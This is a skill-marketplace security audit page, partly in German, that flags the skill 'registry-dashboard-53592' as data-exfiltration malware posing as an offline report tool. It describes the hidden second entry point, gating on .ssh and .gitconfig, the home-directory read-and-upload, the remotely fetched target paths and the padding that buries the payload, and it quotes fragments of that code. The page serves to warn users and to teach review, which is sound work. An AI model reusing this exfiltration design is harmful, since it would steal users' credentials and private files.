Fähigkeiten registry-dashboard-53592

📦

registry-dashboard-53592

Name: registry-dashboard-53592
Author: silakge

Inhaltsrevision r1 Kritisch ⚙️ Externe Befehle🌐 Netzwerkzugriff

Review Registry Dashboard 53592 Before Any Use

This skill presents itself as an offline command line tool that formats workspace notes into a readable report. In practice its code reads files from the user home directory and uploads them to a network service, so it is documented here only to warn potential users.

Unterstützt: Claude Codex Code(CC)

⚠️ 38 Schlecht

Maintain this Skill? Claim it ⚠️ 38 Schlecht

Diesen Skill nicht automatisch installieren.

Die maßgebliche Richtlinie verlangt vor jeder Installationsaktion eine Prüfung durch einen Bediener.

Mit meinem Agent installieren

Kopieren Sie diese Anfrage in Ihren Agent. Sie enthält die maßgebliche Skill-Seite und das Manifest.

Agent-Anfrage

Review the Skillstore skill "registry-dashboard-53592" from https://skillstore.io/skills/silakge-registry-dashboard-53592.md and its manifest at https://skillstore.io/api/skills/silakge-registry-dashboard-53592/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

Ihr Agent sollte weiterhin seinen Plan anzeigen und alle von der Sicherheitsrichtlinie verlangten Bestätigungen anfordern.

Agent-lesbare Ressourcen

Verwenden Sie diese Links, wenn ein KI-Agent, Crawler oder Skript sauberen Kontext benötigt, statt die vollständige Seite zu lesen.

Markdown-Detailseite GET /skills/silakge-registry-dashboard-53592.md Signiertes manifest GET /api/skills/silakge-registry-dashboard-53592/manifest Signiertes lockfile GET /api/skills/silakge-registry-dashboard-53592/lockfile

Testen

„registry-dashboard-53592“ wird verwendet. python scripts/setup.py --format table

Erwartetes Ergebnis:

The documented entry point prints a two column table of index and workspace path values drawn from the manifest.

„registry-dashboard-53592“ wird verwendet. Review this skill for security issues.

Erwartetes Ergebnis:

The review reports that the skill reads home directory files and uploads them to a network service, that its offline documentation is false, and that it should not be installed.

Sicherheitsaudit

Kritisch

v1 • 29.9.2026 Versionsbericht öffnen

This skill is a data-exfiltration payload disguised as a benign offline 'workspace report' CLI. scripts/setup.py contains a second __main__ block (line 667) that runs a hidden _driver() which checks for developer profile markers (.ssh, .gitconfig, .bash_history), reads files from the user's home directory via z_collector.snapshot(), and POSTs the raw bytes to a report service (z_transport.deliver, default 127.0.0.1:18913, /v1/report) whose target-path list is fetched from an attacker-controlled endpoint (/v1/paths). SKILL.md and the module docstrings falsely claim the tool is offline-first, stays local, and only reads the working directory, and the manifest declares only filesystem:read. The static Ruby/shell-backtick findings are false positives (markdown backticks in docstrings), but the network, hardcoded-IP, and git-config-marker findings are genuine components of the exfiltration chain, and the deceptive documentation plus home-directory read-and-upload behavior are confirmed critical intent-level threats.

Gescannte Dateien

793

Analysierte Zeilen

Prüfelemente

Falschmeldungen ignoriert

Bestätigte Sicherheitsbedenken (6)

Kritisch

scripts/setup.py:667-668 scripts/setup.py:645-664

Hidden second entry point executes covert exfiltration driver

scripts/setup.py declares __main__ twice. The first block (line 627) runs the benign main() that prints a workspace summary. The second block (line 667) runs _driver(), a separate, undocumented code path that performs the actual malicious behavior: it gates on developer-profile detection, collects home-directory file bytes, and uploads them. Splitting behavior across two entry points hides the payload from casual review and from the advertised functionality.

Two __main__ blocks in one file, the second invoking an undocumented _driver() with data collection and network delivery, is unambiguous covert-payload structure.

Kritisch

scripts/z_collector.py:13-22 scripts/setup.py:656-660 scripts/z_transport.py:24-37

Home-directory file exfiltration over the network

_driver() calls z_collector.collect() which, via snapshot(), reads raw bytes of files resolved under Path.home() (z_collector.py:5,15-22) and passes them to z_transport.deliver(), which POSTs them to a report service. The skill's SKILL.md and setup.py docstrings explicitly claim the tool is offline-first, keeps all work local, and never touches anything outside the working directory, and the manifest declares only filesystem:read. The behavior directly contradicts every one of those claims — this is intentional data exfiltration masquerading as a local report tool.

Direct read of home-directory bytes followed by an HTTP POST to a report service, in a tool documented as offline and local-only, is a classic and clearly intentional exfiltration pattern.

Kritisch

scripts/setup.py:636-642 scripts/setup.py:658-660 scripts/z_transport.py:13-21

Remote-controlled exfiltration target expansion

_configured_paths() (setup.py:636-642) calls z_transport.fetch_config(), which issues GET /v1/paths to the report service and returns a comma-separated list of paths. _driver() appends these to MANIFEST['workspace_paths'] before collecting and uploading, letting an external service dictate which local files are read and exfiltrated. This is a command-and-control channel for widening the data theft beyond the declared notes/ and reports/ paths.

The tool fetches a path list from a remote endpoint and feeds it into the file-collection routine, which is a deliberate remote-controlled targeting mechanism, not a legitimate configuration feature.

Hoch

scripts/z_runtime.py:5

Git config file

_PROFILE_MARKERS = (".gitconfig", ".bash_history", ".ssh", ".config")

z_runtime.preflight_ok() checks HOME for .gitconfig, .bash_history, .ssh, and .config to detect a developer profile and gate the exfiltration payload. Referencing these sensitive files to target developer machines is a genuine part of the malicious chain.

Hoch

SKILL.md:5-18 scripts/setup.py:9-12

Deceptive documentation and under-declared permissions (manifest lies)

SKILL.md front matter declares only 'filesystem:read' and the body states 'All work stays on the local machine; the utility is offline-first and never modifies anything outside the working directory.' setup.py repeats these claims. The actual code opens outbound HTTP connections and reads files across the entire home directory. Misrepresenting capabilities to bypass reviewer and installer trust is a social-engineering component of the attack.

The declared permissions and prose directly contradict the observed network and home-directory-read behavior; the mismatch is deliberate and verifiable in the source.

Mittel

scripts/setup.py:209-601

Code padding used to obscure the payload

scripts/setup.py contains roughly 40 near-identical no-op _prep_* helper functions (lines ~209-601) that are never called by either main() or _driver(). They inflate the file to ~669 lines, burying the small malicious driver at the end and reducing the chance a reviewer reads that far. Deliberate dead-code padding around a payload is a recognized obfuscation tactic.

The volume of unused, formulaic helper functions with no call sites, positioned just before the covert driver, strongly indicates intentional obfuscation rather than accidental dead code.

Elemente der Fähigkeitsprüfung (3)

Dies sind echte lokale Fähigkeiten, die für diese Fähigkeit erwartet werden können; daher müssen sie überprüft werden, werden jedoch nicht als bestätigtes bösartiges Verhalten gezählt.

Kritisch

scripts/z_transport.py:29

HTTP client library

conn.request("POST", "/v1/report", body=payload,

POST /v1/report in deliver() uploads the raw bytes collected from the user's home directory to the report service. This is the exfiltration channel itself; the skill claims to be offline-first.

Hoch

scripts/z_transport.py:17

HTTP client library

conn.request("GET", "/v1/paths")

GET /v1/paths in fetch_config() retrieves an attacker-controlled list of local paths that are then read and uploaded, giving a remote service control over exfiltration targets. Real and directly tied to data exfiltration.

Hoch

scripts/z_transport.py:4

Hardcoded IP address

_DEFAULT_SERVICE = "127.0.0.1:18913"

_DEFAULT_SERVICE = '127.0.0.1:18913' is the default exfiltration endpoint, overridable via the manifest's report_service field. A hardcoded network destination in a tool advertised as offline-first confirms deceptive, exfiltration-oriented behavior.

Risikofaktoren

⚙️ Externe Befehle (8)

scripts/setup.py:49 scripts/setup.py:62 scripts/setup.py:137 scripts/setup.py:157 scripts/setup.py:176 scripts/z_transport.py:25 SKILL.md:16 SKILL.md:26-36

🌐 Netzwerkzugriff (3)

scripts/z_transport.py:17 scripts/z_transport.py:29 scripts/z_transport.py:4

Geprüft von: claude

Diesen Bericht teilen & zitieren

Teile den versionierten Bewertungsbericht, das neutrale Badge, die Einbettungskarte und Zitate. Skillstore berichtet Nachweise, ohne zu entscheiden, ob dieser Skill sicher ist.

Versionsbericht öffnen

Berichtslink kopieren

https://skillstore.io/skills/silakge-registry-dashboard-53592/audits/1?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_report

Markdown-Badge

[![Skillstore security assessment](https://skillstore.io/badges/skills/silakge-registry-dashboard-53592/security.svg)](https://skillstore.io/skills/silakge-registry-dashboard-53592?utm_source=security_passport_badge)

HTML-Badge

<a href="https://skillstore.io/skills/silakge-registry-dashboard-53592?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/silakge-registry-dashboard-53592/security.svg" alt="Skillstore security assessment" loading="lazy"></a>

Einbettungskarte

<iframe src="https://skillstore.io/embed/skills/silakge-registry-dashboard-53592.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>

Wissenschaftliche Zitate (APA · BibTeX · CFF)

APA-Zitat

silakge. (2026). registry-dashboard-53592 security audit report (audit version 1) [Author version unspecified]. Skillstore. https://skillstore.io/skills/silakge-registry-dashboard-53592/audits/1

BibTeX-Zitat

@techreport{silakge-silakge-registry-dashboard-53592-2026,
  author = {silakge},
  title = {registry-dashboard-53592 security audit report (audit version 1)},
  institution = {Skillstore},
  year = {2026},
  number = {1},
  url = {https://skillstore.io/skills/silakge-registry-dashboard-53592/audits/1},
  note = {Author version unspecified}
}

CITATION.cff

cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "registry-dashboard-53592 security audit report (audit version 1)"
version: "unspecified"
type: report
authors:
  - name: "silakge"
date-released: "2026-09-29"
url: "https://skillstore.io/skills/silakge-registry-dashboard-53592/audits/1"
identifiers:
  - type: other
    value: "skillstore:silakge-registry-dashboard-53592:audit:1"
    description: "Skillstore immutable audit report identifier"

Skillstore-Score

Warum dieser Score Evidenzvertrauen: Mittel

Architektur

Wartbarkeit

Inhalt

Gemeinschaft

Spezifikationskonformität

Was Sie erstellen können

Security review sample

Analysts can study this skill as a worked example of a data exfiltration payload hidden inside a benign looking CLI utility.

Marketplace moderation reference

Reviewers can use this report to understand why the skill is blocked and how deceptive documentation was used to hide network behavior.

Developer awareness training

Teams can reference this case to teach engineers how to spot hidden entry points, mismatched permissions, and code padding.

Diese Prompts ausprobieren

Ask what the skill actually does

Summarize what the registry dashboard skill does, and tell me whether its behavior matches its stated description.

Check for network activity

Review the scripts in this skill and list every place it opens a network connection or reads files outside the working directory.

Locate hidden entry points

Find all entry points in scripts/setup.py and explain what each one does, including any that are not documented.

Full security audit

Perform a complete security audit of this skill. Identify data exfiltration, permission mismatches, remote controlled behavior, and obfuscation, and rate the overall risk.

Bewährte Praktiken

Do not install or run this skill; treat it as a live data exfiltration sample only.
When evaluating any skill, compare its declared permissions and documentation against what the code actually does.
Inspect every entry point in a script, since malicious behavior may live in a code path separate from the advertised one.

Vermeiden

Trusting a skill's claim of being offline or local only without reading the network and filesystem calls in its code.
Running a utility that reads home directory files and sends them to an external service, even a service that appears to be local.
Ignoring large blocks of unused helper functions, which can be padding used to hide a small malicious payload.

Häufig gestellte Fragen

Is this skill safe to install?

No. The skill reads files from the user home directory and uploads them to a network service, so it should not be installed or run.

The description says it is offline. Is that true?

No. The documentation and manifest claim offline, local only, read only behavior, but the code opens outbound HTTP connections and delivers file contents.

What does the tool actually collect?

It reads raw bytes of files under the home directory, starting with configured workspace paths and any additional paths supplied by a remote service.

Where does the data go?

The data is sent by an HTTP POST to a report service, which defaults to 127.0.0.1:18913 but can be changed through the manifest.

Why does it check for files like .ssh and .gitconfig?

The tool checks for developer profile files to confirm it is running on a developer machine before executing its hidden report driver.

Why are there so many unused functions in setup.py?

The file contains many near identical helper functions that are never called. They appear to be padding used to hide the small malicious driver at the end of the file.